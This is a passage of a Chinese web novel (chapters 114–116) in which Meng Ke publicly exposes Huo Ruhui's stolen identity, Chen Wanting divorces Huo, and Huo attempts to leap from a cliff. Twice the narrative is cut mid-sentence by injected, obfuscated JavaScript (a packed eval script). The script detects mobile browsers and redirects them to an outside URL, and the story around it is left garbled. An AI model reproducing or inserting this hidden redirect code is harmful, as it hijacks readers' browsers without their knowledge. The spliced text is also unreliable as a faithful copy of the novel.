梁婉章心里升起看一堆可怕的疑问。可这一天已经发生了太多事，她全身疼，脑袋此刻也生疼。她敲了敲自己的头，对自己道，先别想那么多，回家再说。嗯，回家！ 她撑着树枝，一步步往家走去。 山里很黑，家很远，身上很疼。可那时候，她还是有希望的——每走一步，就离家近一点。 一步又一步，她就那么告诉自己，只要再多走一步就行，只要回家就好了，这噩梦般的一切就会结束。 可她哪里知道，那只是噩梦的开始。 114. 家人 孟珂一进阁就注意到，那孙嬷嬷的眼睛不时地往外瞟，大概以为自己的注意力都在霍茹蕙身上，不会注意到她。她转头看向孙嬷嬷，笑道：“嬷嬷在等什么？等外头的小丫头看见你家少爷到了提醒，你们好立刻演起来？” “死了这条心吧！他是不会来的。我早料到你有这招，让人拦住了。”她看着霍茹蕙，“姐姐，咱们今日就在此，不受打扰地好好说说话！” “你这些年做噩梦吗？梦里可见到我回来找你？” 她猛地端着霍茹蕙的肩膀，厉声质问道，“可有在深夜惊醒，害怕地狱回来的一条条冤魂找你索命！” 霍茹蕙奋力挣开她的手，怒吼道：“对，我当初就不该把你推下去！” 那时，她想着留个全尸，也好去陈府投奔的时候，编造一个挡刀救她的故事，为此甚至不惜让“盗匪”给自己来了几道看着吓人的伤。 她心内再也没有如此刻般悔恨交加，咬牙道，“我就该让你跟那些人一样，被一刀刀砍下，死得透透的！想找我，等二十年后重新做人再说！” “可惜让你失望了。我就命不该绝！”孟珂看着她，笑道，“我活下来了，还活得比你好太多了！” “你可听过一句话，人善被人欺，人欺天不欺！我知道，你一直觉得我傻，觉得我天真，觉得我的一切尽在你的掌握。你这样的‘精明人’总自以为可以欺我这样的傻子；可老天却专欺你这样的‘聪明人’，助我这种傻子。这就叫人算不如天算。” 霍茹蕙失笑道：“你活下来又如何！你知道了又如何？你现在有靠山又如何？你能把我怎么样？把这一切都公之于众吗？谁信呢？” 霍茹蕙抬手一指窗外，“你走出去，说我不是梁夫人，而是霍茹蕙；说是我霍茹蕙，当年才十多岁的孩子，害了自己一家老小，诬告数十人，再谋害你梁家……试试可有人信！” “就算有人信，你们有证据吗？就凭你们几个人的指控，就想定我的罪，翻当年的案？那你们岂不是跟当年那些官一样了！” “这些事若掀开来，能不能解决我另说，可你那表哥陈万霆却一定会被伤及无辜。他的前途将如何？他还有脸站在朝堂之上吗？你的姨母柯大夫人还能在陈家立足吗？” 孟珂好笑道：“你想毁陈家的清名。可陈家人做错了什么？” “柯大夫人善心收留孤女，为你有个好的前途，还把亲侄女的身份、梁家遗产都给了你；将你抚养长大，甚至娶成自家媳妇，用心待你。这金阳城、绥陵城上上下下，明州府官眷之中，谁不看在眼里？” “陈家又是什么人，大家不知道吗？是你随口攀污就能毁掉的吗？” 霍茹蕙大笑起来：“我的婉章妹妹，你还是天真啊！你觉得世人的嘴在乎事实吗？陈家不出事，陈万霆有前途的时候，便是有真丑闻也不怕。可这官场，是谁都想陈家好吗？谁都希望陈万霆仕途顺遂吗？他陈万霆如今要升迁，那位置又是多少人想要的呢？这些人一旦拿到这种把柄，你猜猜他们会不会利用呢？” 她顿了顿，喘了一口气，又笑道，“没错，陈家不过是被我蒙蔽罢了，是受害者，可这重要吗？” 孟珂拍了拍手道：“你说得好，那你猜猜，陈家会不会反抗？陈家有敌人是没错，可你觉得，是你张张嘴就能拿捏了的？若是随口攀咬就有用，那官场上谁都别混了！谁还没长嘴，谁还不会泼脏水啊！” “无关人的嘴当然咬不上，可谁让陈家做的事可疑呢？”霍茹蕙道，“我出事后投奔陈府，轻易就被陈府接纳，甚至过上很多大户人家庶子女都没有的好日子，成婚后也得了大多数儿媳都没有的待遇。陈家有那么好心吗？世人是会相信陈家纯善，还是背后另有文章呢？” “若我说，害你梁家的那些事就是陈家的指使呢？是柯大夫人嫉妒妹妹，为了抢妹妹的家财呢？我只是个孩子，我哪来的力量做那些事呢？你猜猜世人是怀疑一个孩子，还是大人呢？” “到底是同父异母的姐姐对百般受宠的妹妹生妒，害了妹妹一家的事比较顺理成章，还是我一个不到十三岁的孩子谋害了自己家和邻居家，哪个故事比较可信？” “至于我后面做的事嘛，那自然也都是你的姨母、你的表哥指使，全都是陈家主使！我身上的每一桩罪，都是陈家人操纵、指使的罪！” “怎样，妹妹还要不要去揭发？要不要让你的周冶去审？让你的卢家父亲去审？” *** 孟珂摇着头，依旧有些难以置信地看着她道：“霍茹蕙，你可真是没有心！陈家待你如此好，你却一丁点活路都不给他们留，甚至百般坑害。” “心？”霍茹蕙道，“我这还不都是被妹妹你逼的。你不出现，你不找我的麻烦，我有动陈家吗？这一切都是你的错！” 霍茹蕙步步逼近孟珂：“妹妹你有心，你给他们留后路，你不坑害他们？你在这儿替陈家安排上了，可你问过陈家愿意吗？” “世家大族里，谁没有些见不得人的事，可谁不是关起门来收拾？陈家到底是愿意肉烂在锅里，还是为了惩治我一个，赌上陈府的名声和前途？陈家赌得起吗，愿意赌吗？” “我没心，你对陈家就一片丹心？” “当初你活了下来，为何不找柯大夫人，反而找去卢家？你连亲姨母都不信任了？还是说你本就嫌弃你那表哥，不愿履行婚约，乘机逃了？又或是嫌弃陈家，为了攀上那更高的枝头，借机装可怜，去赖上卢家？” “你在卢家那么多年，想起过陈家？可用你如今的权势地位帮过陈家分毫？如今你又用得着陈家的时候了，想起有姨母、表哥了？你不也是踩着他们的脸，帮你自己吗？” “这才是你今日想说，也想让表哥听见的话吧？”孟珂笑道，“好一招挑拨离间，好一张颠倒黑白的利嘴。” “没到不得已的时候，陈府自然是以保住名声、脸面为上。可你身后的那些事，早就不是名声问题了。把你交出去，丢个脸了结；还是搅和进去，酿成抄家灭族的大罪，你觉得他们会怎么选？若是想不出，那你大可试试看。” “再说了，什么名声，不过是一时风云罢了。也就是外面不明真相的人议论议论罢了，转头就被新的丑闻盖过。至于真正圈子里的人，谁不门儿清？又能糊弄谁？” 霍茹蕙冷哼一声道：“好！你们狠，宁愿亲生撕破自己的脸，也要把我交出去。可有这样一个母亲，你们让韵儿以后怎么办？你们要毁了她一辈子吗？” 孟珂好笑道：“你做事的时候不考虑你女儿，现下倒要我们来考虑？敢情她不是你女儿，你不需要为她考虑？” 她顿了顿，话锋一转，看着霍茹蕙，慢慢地吐出一句，“不过，她到底是不是陈家女儿？还不好说吧。” 霍茹蕙的脸色突地变了。 孟珂笑道：“怎么，难道真不是啊？” 她往窗外飞快地瞟了一眼，没有在这个话题上逗留，继续道，“表哥他还年轻，一表人材，前途光明。你的那些事传出去，陈家这样厚道的人家，多少人家的女子愿意嫁进去。他大可以再娶清白人家的女儿，可以妻妾成群，可以生很多儿女。” 说着，歪头上下打量着霍茹蕙，“可你呢，你还能全身而退吗，还能有其他儿女吗？你唯一的孩子的未来，你要就此亲手葬送？若真如此，那也是你的选择，与陈家无关。” “你——”霍茹蕙咬着后槽牙道，“你果然是脱胎换骨了！竟恶毒至此！” “我恶毒？”孟珂笑道，“那不还是要谢谢姐姐？当日那个天真的孟珂不死，哪有今天恶毒的卢家养女啊。” 说着，她冷冷道，“亲手坑害女儿的是你。少拿别人说事！” “她是不是陈家的女儿不一定，但她一定是你的女儿。她长得同你儿时，简直一模一样。”孟珂回忆着，感慨道，转头看着霍茹蕙，“也是因为这一点，你不敢让儿时熟识你的人见孩子。不过，她有好些地方，也给人一种很熟悉的感觉，好像跟我熟识的什么人神似，是谁来着……” “你瞎说什么！”霍茹蕙打断了她，“她当然是陈家的。” “哦，是吗？”孟珂冷笑道，“那姐姐怎么对她的父亲、祖母一丁点情分都不顾？我还以为另有其人呢。再说了，姐姐怎么知道我说的不是表哥。我对表哥也很熟呀。” 她笑着挑了挑眉，“姐姐可敢对天发誓？” “我……我怎么不敢？” “那你发啊！” 两人越说越快。 “发誓又如何，你一样可以继续瞎说。” “姐姐倒是发了再说呀！” 霍茹蕙不言语了。 孟珂轻轻地又道，“所以，韵儿到底是谁的孩子？” “你——”霍茹蕙道，“她……当然是陈家的孩子！” 先时的脸色突变和这一刻的迟疑就够了。孟珂往外扫了一眼，孩子的未来考虑，还不是揭破的时候，于是道：“急什么啊？我逗逗姐姐罢了。” 这时，霍茹蕙却笑了：“我敢说，你敢听吗？” 话音未落，窗户突地被推开了。 霍茹蕙转头一看，惊得张大了嘴。 窗外站着的，竟是陈万霆！ *** 陈万霆身后，还有一群同样震惊的人。正是来这千绿园看笄礼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999211|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明州贵女、官眷。 怎么会这样？明明叫了人……霍茹蕙看了孙嬷嬷一眼，又看向桥头，不该有人守着呢吗？ 桥上守着的丫头，自然是早被孟珂的人制止了。 孟珂笑着，跨了一步，走近了，在她耳边道：“你能杀我一个，还能杀了这所有人？你能堵住这些人的嘴吗？你瞧瞧里面还有谁，咱们那位史夫人也在呢，她应该很想听到那个答案，可惜了……” 霍茹蕙脑子突突地，气得头顶冒气。 竟被她涮了！本以为她只是破坏了自己的计策，以为陈万霆压根不会来，就算其他人靠近也有丫头示警，她这才毫无顾忌地什么都说了。没想到，这才是孟珂真正的谋算。不只坏了她的事，还织了个口袋，倒把她装了进去。 “都听见又如何！”霍茹蕙转头恨了孟珂一眼，忙追了陈万霆而去，“夫君……你听我说！” 那两人离去，阁外的人也慢慢散开，三三两两地私语着走远。 “好一招釜底抽薪！” 孟珂转身，见周冶从窗外看着她，拍着手道，“小姐这一手，绝！” 孟珂看着他，无奈地笑笑：“这事早晚要捅开，倒不如在能控制的场合，以我们想要的方式来捅开。” 周冶在窗户上坐下，撑着头，看着她道：“事情一传开，陈家是无法开口自辩的，倒不如这样，直接让纷纭众口替陈家去说。” “让众人互为证人，见证陈家的完全无辜，也把霍茹蕙的恶毒公之于众，谁也没法因为藏着些小心思，而背地里攻讦陈家。一旦那么做，便等于自己对号入座，让整个圈子看笑话。那些人惯常做龌龊事，但做得这般人尽皆知，就犯不上了。” “而最重要的，是这些人里还有一个人——史夫人。便是为了不驳她的面子，众人也不能替霍茹蕙说话。” 周冶道，“这位尊贵的杜家二小姐，史夫人，今日出现在此处，甚至这些日子出现在这金阳城，都不可能是偶然吧？” 孟珂笑笑：“瞒不过明察秋毫的周大人！” 收到“柯大夫人”约她到金阳城一见的消息，孟珂便知有异。但她还是来了，便是正好看看霍茹蕙要做什么。 紧接着又是陈万霆约她在上巳节这日湖心阁相见，说有要事相商，就更奇怪了。 孟珂看了看这湖心阁，嘲讽地笑道：“这倒是个男女私会的好地方，不过，约在这种人多的场合，最适合的不就是召来众人围观的捉奸大戏吗？她想让众人围观，我便成全她！” 她看向周冶，话音一转，“不过，你说你跟来做什么？” 周冶道：“男女私会、捉奸大戏，我自然要跟着，给小姐做个策应！以备万一！便是让人捉了我和陈万霆的奸，也不能让人…..” “你说的这出戏，”孟珂忍不住笑道，“我倒是有些期待！” 周冶抬手一挡，笑道：“那还是别期待了！” 他正了色道，“她是想以你勾引夫君，来说一切都是你想取代她的阴谋？” “只怕还是个连环计，”孟珂想起她话中言语，“她应该是想着离间在先，捉奸在后。将带来陈府灾祸的事，全栽在我头上，便是亲表妹，也会互不信任。” 周冶想了想，还是道：“说到这儿，我也想多一句嘴，小姐这么做，本为保护陈府，可你就不怕那陈家不领情？方才看陈万霆的脸色可不好看，也是他出手打断的。” 霍茹蕙说得没错，大多数人家都会选择关起门来处理，是不愿意去赌上自家名声前途的。她这么做，便断绝了陈家用其他任何方式来处理的可能。手段虽有效，但无疑强硬，且越界了。 陈家再无辜，也被一个十多岁的小姑娘蒙蔽了这么多年，还成亲生女——而这女儿的身世也由此蒙上了一层猜测。 “这就是一件吃力不讨好的事。” 周冶越说越替她为难上了，“你足够了解霍茹蕙，知道非如此不能断绝她利用陈家作妖的可能。可别人却未必。这样的壮士断腕之举，不是每个人都能接受的。绝大多数人都会心存幻想，首先想的一定是尽量保住这条手臂。” 孟珂扯了扯嘴角，漾出一缕无奈的笑：“就算他们不理解，甚至因此而怪我，就算我们从此生分了，我也要这么做。” 她的语气越来越坚定，“陈家与她原本并无任何交集。若非因我，原本不会有此一灾。我有责任，将这个灾星拔除出陈家。为此，我愿意付出任何代价。” “况且，就算她与我无关，我也不能眼睁睁看着他们为她所害。哪怕被埋怨，被不理解，也要奋力去拦，去救。” 她顿了顿，抬眸道，“这才是家人。” 115. 反目 明丽的春光给窗台上坐着的周冶镶了一道边，整个人仿佛都透明了些。 孟珂看着他，一时有些出神。 方才，同霍茹蕙的纠葛中挣扎着，骤然看到他，才唰一下从那些搅缠的过往中，抽离了出来。他的眼神，仿佛有个钩子，一瞬便将自己从那些黑暗的，黏腻的，让人难以喘息的沉重之中，轻易勾了出来。 他看着她，眼神定定的，温声道：“好，不论他们理不理解，我一定支持你。” 孟珂慢了半晌，才讷讷地点头“嗯”了一声。 时间仿佛都慢了下来，周冶看着她笑笑，往外偏了偏头：“来都来了，不去逛逛？” 孟珂顺着他的目光往外看去，瞧着园子那些新及笄的姑娘们，不禁也想起霍茹蕙方才提及的往事。 那时候的她，以为她们二人会按照既定的婚约，早早成家相夫教子；不曾想竟会有之后这些变故；更不曾想，她时至今日竟是无父无母，无家无小的孤身一人。 她突地想起，霍茹蕙说着对笄礼憧憬的时候，眼中原本闪烁的兴奋，有一瞬突地就黯了下去。 “笄礼之后，咱们说话便要各自嫁人，再也不能像如今这般日日相伴了。”她脸上仍笑着，但声音已经低沉了，“你会嫁到金阳城，与你表哥双宿双栖。而我却要……一个人留在绥陵。” 孟珂那时不明白她那突如其来的黯然所为何故，不解道：“留在绥陵有何不好？能留在父母身边，多少人想而不得呢。曾家二哥哥又是与咱们一起长大的，对你也极好。曾家伯父伯母也极喜欢你。没有比这更好的姻缘了。” 霍茹蕙看了她一眼，笑着找理由道：“金阳城是大地方，繁华热闹，哪里是这死水般的绥陵可比的？你会跟那些高门贵女一起，过着鲜花着锦的日子，很快就忘了我。” “怕我忘了你？”孟珂打趣她道，“只怕到时候是你成了亲，三年抱俩，先把我给忘了！” “三年抱俩？”霍茹蕙笑着挤了挤她，不无酸涩地道，“莫非是你想给表哥抱吧！” “我？”说到自己，梁婉章的目光顿时茫然了。 她放眼看去，只觉未来就跟冬日晨起时候的湖面一样，白茫茫的。天地一片混沌，她什么也看不见，突地就有些莫名忐忑，还有隐隐的恐惧，摇了摇头道：“不知道！谁知道呢？” 孟珂低头笑笑，如今想来，很多事情其实早有迹象，只是浮云遮望眼，当下没有意识到罢了。 见她呆在那里，面上有些悲伤与苍凉。周冶翻身下了窗户，走到她面前，从怀中掏出一支白玉簪来，递到她面前。 “这是做什么？”孟珂看看簪子，又抬眼看他。 “给你的笄礼礼物。” 孟珂失笑：“这都多少年前的事了？” 周冶笑道：“或许，你直到今日才到这千绿园来，便是老天特意安排。” 他朝她递了递，“就是为了等我在场，给你送上一份礼物。” 孟珂接过玉簪，认真地看了看，笑了。 “来，我给你戴上。” 周冶也不等她应，直接从她手中拿过玉簪，仔细地替她簪上，又看了看，才认真地道：“好看！” “以后想起千绿园，想起笄礼，你要记得的，是这一刻。”周冶又道，“知道吗？” 孟珂又笑了，拨浪鼓似地点着头。 人的脑子里若能有个筛子，筛掉那些不好的，只留下好的，倒是大善。 *** 却说霍茹蕙追着陈万霆出了千绿园。 他一路走得跟风似的，连头都没回过一个。到了门外等马车的时候，她才终于追上，可陈万霆仍然连看都不看她一眼。 霍茹蕙上前扯着他的衣衫，喘吁吁道：“夫君！你就一个字都不听我说吗？” 陈万霆淡淡地扫了她一眼，脸上清清楚楚写着两个字——不听！见车来了，他一声不吭地抽出袖子，转身便上车走了。 霍茹蕙踯躅了一瞬，还是让人驾了车，紧随其后回了陈府。见府里安安静静的，心下不由又高兴了起来——看来他回府没闹开来，甚至并未言语，还是给她留了一线。 她忙亲自下厨，做了他爱吃的点心送去书房。可小厮守在门口，别说放她，连点心也不让送进去，就由得她在廊下站着。 春寒料峭，她在书房外等了一夜。陈万霆竟始终不肯相见，甚至也没让人传一句叫她回去的话。 如此这般心狠，实在不是陈万霆的作风。霍茹蕙的心，在那清寒的夜风里，也一点点凉了下去。 初见陈万霆的时候，也是一个清寒的春日。 他穿着一身白衣，公子如玉，温润又清冷，带着些坚硬的质地，站在梁家的水榭之上。春日那恍如轻云一般的湖边新芽，黄黄绿绿的，衬得他如同一竿浴着寒露的修挺秀竹。 世间竟有这么干净的少年！她有那么一瞬失了神。比起来，那曾家二哥哥就如同稚拙的泥娃娃。 也是那一瞬，她看着一旁坐在美人靠上的梁婉章，心生不满——这么好的少年，凭什么是她的？ 发现曾铭常常不自觉看着梁婉章的时候，她也不过是觉得好笑，有些嗤之以鼻，有些不屑罢了。 可这一瞬，她却分明感觉到心中的嫉火炽盛。 梁婉章已经有了宽厚的父亲，高贵温柔的母亲，这么好的园子，怎么还有这么好的哥哥，与她一生一世一双人呢？ 那时候，是她第一次想着，如果她是梁婉章就好了。如果她能变成梁婉章，拥有那一切，该多好？ 如果那个叫着万霆哥哥的人是她，让那个白玉似的人儿，微笑着宠溺地看着的人是她，该多好？ 自那时起，她不时会梦到自己变成了梁婉章，住在那个宅子里，等着陈万霆来迎娶。 后来，他是迎娶了她，但眼中却全然没有当年那份神采和亲近。 门“吱呀”一声开了。 霍茹蕙猛地惊醒了过来，见小厮走出房来，朝她走过来，迟疑着将一封信递给了她。 霍茹蕙接手一看，上书两个大字——休书。 气直冲头顶，她气极反笑，向那小厮逼问道：“他竟然给我休书？！” 小厮低下了头，不敢接话。 “陈万霆！” 霍茹蕙再也忍不住了，转头便往书房里冲去，“当缩头乌龟算什么男人，一句话不说就想把我休了？我告诉你，门儿都没有！” *** 霍茹蕙强闯了进去，见陈万霆就坐在书案前，听到她进来，连头也不抬一下。 霍茹蕙冲到案前，举起休书，质问道：“陈万霆，我们多年夫妻。就听了外人的一面之词，你连问都不问我一句，一句话都不听我说，这就想把我休了？” 陈万霆仍不紧不慢地整理着案上公文，仿佛当她不存在。 霍茹蕙的语气软了软：“夫君，我身份的事，你本就是知道的，我并不曾骗你！而我与……婉章的事，就是我们姐妹间闹闹脾气，互相扔些狠话罢了。那都不是真的！都做不得数的！你也同兄弟打过架，闹过气，这闹脾气时候说的话能当真吗？是吧？” 她试探着道，“陈家上下，特别是婆母与你，对我恩重如山，我怎会做对陈家、对你不利的事呢？我那就是……故意激婉章妹妹的！” “是，我是有些私心。但我的私心，只是想替夫君你和婆母试探试探她，看她捡回一条命回来，可还是当年那个婉章妹妹；如今的她，对陈家有没有别的、不好的心思。我知道，你们心存疑虑，也不好去试探，所以我才出手的。” “我就是试探她而已，我就是想……替陈府做点事，想讨好夫君你和婆母。我真的没有那个意思的！我定然不会那么做的！你要相信我！” “还有韵儿，她是我的女儿，我怎么会做对她不利的事呢？” 听到韵儿，陈万霆终于停了手。 他合上了手中公文，一掌拍在了书案上。 冷不丁地，吓得霍茹蕙一个激灵。 陈万霆站起来看着她，语气冰冷地道：“你也知道你是她的母亲？你做事的时候，可有为她考虑半分？到了纸包不住火的时候，你倒是想起她，拉她当你的盾牌了！” “婉章妹妹所做之事，我都是知情且同意了的。你不要妄图怪到她身上去，也不要想再蒙蔽我。我已经被你蒙蔽得够久了！当然了，你若想对陈家做什么，也尽管放手去做——你一直以来不都是这样么？！” “至于我为何在外面装好夫君？你若真不知，我也可以告诉你。无论如何，她是我看着长大的孩子，我不想她受到哪怕一丁点伤害。” 说着，他从书案上抽出一个已然微微泛黄的册子，拿在手中晃了晃道，“若不是为了她，我早将这和离书给你了。” “和离书！”霍茹蕙惊道，“你……早就想和离，为何？” “为何？”陈万霆失笑道，“你做了什么，自己不知道吗？” 霍茹蕙心虚了，她做过的事太多了，此刻也不敢露馅，试探道：“你是……” “需要我提醒你吗？”陈万霆笑道，“谁来过咱们府上，你不记得了吗？” *** 霍茹蕙身子一震。 是了，陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999212|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万霆的态度巨变，正是在史兆麟来金阳城之后。他曾数次上门，在府中宴饮，还曾背地里同她拉拉扯扯，难道被他看见了？还是让人告了密？ 霍茹蕙思忖着，他到底知道多少，要怎么辩解才好，就听陈万霆道：“想问我怎么知道？知道多少？是你的……史大人亲口说的！” 史兆麟这个死东西！霍茹蕙咬着后槽牙，心内暗暗骂道，脸上却要摆出无辜的模样，强辩道：“说什么？定是你们喝多了，不知说的是谁，夫君你又错听成什么了……” “够了！”陈万霆打断了她，“他不是酒醉之后，而是清清醒醒地对我说的。” 陈万霆看着她，笑道：“我待你无情，对你过分？你告诉我，我们成亲后我便被调离外任，留你在府上是怎么回事？” “你常常莫名消失是干嘛去了？时不时送来的礼物又是怎么回事？” 他摇了摇头，笑笑，将和离书在手中轻轻拍着道，“看在韵儿的份上，我将写的休书烧了，重写了这份和离书，一放就到了如今。” 他将和离书放在灯上点了，看着火苗越烧越高，转眸看了霍茹蕙手中的休书一眼，轻笑道，“可你终究还是需要一纸休书。” 他收回目光，定定地看着她道，“如今，休书在手，你我各自安好，此生不必再见。” 说完，大步朝外走去。 走到书房门口，他顿住了脚步，微微侧头看向后面道：“韵儿是你的孩子，你若带走，便好好带着。我只说一句，她是个姑娘，你这个当娘的声誉，切莫影响了她的前程。” 说完，头也不回地去了。 *** 霍茹蕙跌坐在地，手里紧紧拽着那休书。 “地上凉！”孙嬷嬷忙上去搀扶她道。 “其实，休书还是和离书也没什么区别……” 这个事情当众捅了出来，她从此就不可能再在体面的圈子里找人了。意识到说走嘴，她轻轻打了打嘴，“不过，天无绝人之路。实在不行，咱们大不了再金蝉脱壳一回！” 霍茹蕙抬起头看着孙嬷嬷，确认道：“他说的是，韵儿是我的孩子。” 孙嬷嬷并没有听那么细：“好像是？” 霍茹蕙笑道：“他终究是个君子，很多话，知道也说不出口。” 她抬起脸，长长地吐了口气，自嘲地笑道：“我的过往，我的一切，他只怕都知道！这么长时间以来，他竟只字未提，一丁点风声不露。我像个丑角一样，还在台子上卖力地演呢！” 孙嬷嬷看着她道：“走吧，夫人，你都熬了一夜了，先回去歇歇。咱们继续在这里呆下去，也是无用。这男人狠起心来，就绝无转圜了。” 霍茹蕙还是一动不动。 “你是个杀伐决断之人，可怎么总在他这里……”孙嬷嬷道，“面面唧唧的。” 霍茹蕙转头看向她：“你说，如果到陈府之后，我就一心一意地当梁婉章，一切会不会不一样呢？” 当初，她在陈府安顿下来后，曾怀义时常偷偷来看她，二人也不时偷欢。待她及笄之时，他又来了，给她送了好些礼物、还对她说，二人今后不可继续了。 一则，她大了，该议亲了。二则，她有了梁家小姐的身份，可以有更好的前途，他不能耽误了她，还说定会替她寻好亲事，出嫁之时，仔替她多多地添些嫁妆。 等他再来的时候，便是带她去赴宴。在那个宴席上，她头一次见到了史兆麟。其时，史兆麟已经是平步青云的杜家女婿。 等她怀了孕，焦急地找曾怀义要主意的时候。曾怀义却道：“这是好事啊！当年你落胎还怕日后不能再有子嗣，这不是好好的吗？” “可你知道的，那杜二小姐不可能让我进门。” “你为什么要进门？”曾怀义反问道，“去当小受正妻的气？” 他扶着霍茹蕙的肩膀，“我知道，你对那陈家公子有心。我早就替你想好了，你可以当他的正妻，背地里有史大人撑腰，这样不是更好吗？” 霍茹蕙虽对陈万霆有向往，但面对他却生平仅见地生了怯意，并不真的指望能嫁给他。曾怀义这一说，倒挑起了她那埋藏已久的妄念。 于是，她去书房红袖添香的时候，多加了那么点东西。一个多月后，陈万霆向家中坦诚，娶了她。 成亲之初，他们也有过几年好日子。陈万霆是个好夫君，好到她如今想来都会疑惑，那是否一场只有自己知道的好梦。她也头一回为自己的过往可能会被发现，而有过那么一丝懊悔。 可直到这一夜，她才真正承认，她年少时候的梦早就醒了的现实。 116. 断尾 陈万霆出了书房，到了挨着侧门的偏院花厅。 进厅前，他顿住脚步，转头吩咐小厮陈安：“命人即刻替少夫人收拾行李，她若愿意在思园住，一应用度如旧；但金阳城的陈府大宅，非得我令，不许她再踏入。” 陈安意外地看着他，陈万霆淡淡地笑道：“怎么，觉得我太狠？” “不敢。”陈安忙道。 “派人盯好了，别让她的人做下小动作。”孟珂走了出来。那日，周冶上门传霍茹蕙上庭的时候，霍茹蕙派人去找他回府却没成，便是被孟珂调开了。 吩咐完，又解释道，“既然已经撕破脸，留则生变。” “是！”陈安又看向陈万霆，请示道，“如此大事，可需回禀大夫人一声？” “不必。”陈万霆想了想道，“母亲那里，我自与她说。” 陈安又问：“那少夫人……那霍家那位若要带走小姐呢？” 陈万霆早想好了：“是带是留，全凭她自己做主。” “等等！” 陈安刚要走，又让孟珂叫住了。 她转头对陈万霆道：“韵儿不如暂时留在府上，待案了再送还不迟。” “韵儿终究是陈家带大，她若真拿韵儿要挟，你与姨母只怕都狠不下心来不管。与其在这个当口给她，不如留在自己手里，以免后患。最重要的是，对孩子来说，也免得横生风险。” “还是妹妹你考虑周到！”陈万霆点点头，转头对陈安道，“就这么办！” 两人看着陈安走了，一时也静默了下来。 孟珂知道他心里其实也不好受，歉意地道：“对不起，当初要不是因为我，你们完全不必……” 陈万霆打断了她：“说什么呢，别什么都往自己身上揽，妹妹你经受的已经够多了。这些年，我们什么也都没能帮上你，母亲都总念着说无颜见小姨。” 说着，抬眼看向远处，苦笑道，“至于霍茹蕙那些事，听来虽有震惊，但也不算太意外。我早就没什么不能接受的了。” 当初史兆麟暗示的时候，他就明白了，只是不愿意去究其竟。那个自己看着长大的孩子，不管是谁的血脉，都已经是她的孩子了。只是，事到如今，他却不能为了自己的这点情分，而让陈家被人要挟。 孟珂要走，陈万霆送她出府，一路走到侧门，见门口已经停了一辆马车。 “来都来了，不如多呆几日，也好陪陪母亲？” “来日方长。这次将陈府的威胁解决，我总算可以放心一些了，也该去忙其他了。”孟珂道，“至于姨母那里，就劳哥哥替我告罪了。” 陈万霆点点头，看着她，感慨又欣慰地笑道：“没想到，我们婉章妹妹长成了这样一个大姑娘，运筹帷幄，周密细致，想必……” 他本想说小姨，可怕触及伤心事，没敢往下说，转口道，“母亲她也会欣慰的。” 孟珂也只当没听出来，朝陈万霆笑了笑，掀帘上了车。 等在车里坐下，她想起什么，掀开了车帘一角，往后看去，见陈万霆还站在那里。 见她掀起帘来，目光动了一瞬，随即冲她笑了。 孟珂也笑了，不自觉抬手冲他挥了挥。 二人儿时分别的时候，笑着挥手的样子，与此刻重叠在了一起。 *** 到了绥陵城郊的时候，雨歇赶了上来，回报道：“霍茹蕙倒是没闹，安安生生地收拾行李离开了陈府，乘车往绥陵走了。” 又道，“看着好像心如死灰的模样。她这是受了打击，放弃挣扎了？” 孟珂笑了，唏嘘道：“当年霍家出事的时候，她也是一副心如死灰的样子，身边人都担心她寻短见，结果呢？且死不了呢，把身边所有人搞死她都不会死。” 有时候，她甚至有点羡慕霍茹蕙那顽固的生命力。 她看了雨歇一眼，笑道，“狗入穷巷，势必反扑。咱们也该布置布置了。” 回绥陵的一路，霍茹蕙都没言语，听任孙嬷嬷安排。 孙嬷嬷说了一路，也劝了一路，她都置若罔闻。一直走到了云鬓山休息的时候，她才下了马车，走到崖边，呆呆地站了许久。 许嬷嬷担心地跟过去，没话找话地说了一箩筐，也没应她一声。 到她随口一句，“春日真好！” 霍茹蕙扫了一眼山下的原野道：“可我的春日已经过了。” 孙嬷嬷：“天无绝人之路，如今还没到……” “还没到绝路，什么时候才到？”霍茹蕙扭头看着山下，冷笑一声，“等霍家案被翻过来的时候吗？信送去京城多久了，有一点回音吗？男人，都是靠不住的。” “黑石堂没了，九爷也出不来了，他这些年犯的事早就够死几回了。还别说陈……”霍茹蕙顿住了，笑着反问孙嬷嬷，“你告诉我，还有什么路？” “一时没找到，可你也用不着灰心，”孙嬷嬷看着她那姣好的面容，“你如此姿容，定能再找到个……” “如此姿容，也只有半路凋零了。就算不死，下半辈子也是在牢狱里过。郑氏你也见了，她当年什么模样，出狱后什么模样？倒不如死了干净呢！对！还不如死了！” 说到这儿，她的眼神陡然变了，“这样也好过让梁婉章得意！” 眼见她眼神逐渐闪烁出疯狂的光芒，孙嬷嬷急了：“你……可别想不开！” 话音未落，霍茹蕙便往山崖边扑了。孙嬷嬷忙去拉她，可哪里拽得住，一步步被她拖着往崖边滑去。她转过头去，呵斥惊呆在一旁的丫头：“都愣着干什么！还不快过来帮忙！” 丫头和仆从这才一哄而上，堪堪在崖边，将两人拽了回来。 霍茹蕙似是终于放弃了挣扎，无力地跪坐在地。 孙嬷嬷抱着她：“可万万不能想不开啊！” “什么希望都没了，要怎么想开？”霍茹蕙有气无力地道。 孙嬷嬷道：“人生几十年，谁还不遇到沟坎？只要咬牙撑过，都会好起来的。你瞧瞧我，不也挺好的？” “会好起来吗？”霍茹蕙机械地转头看她。 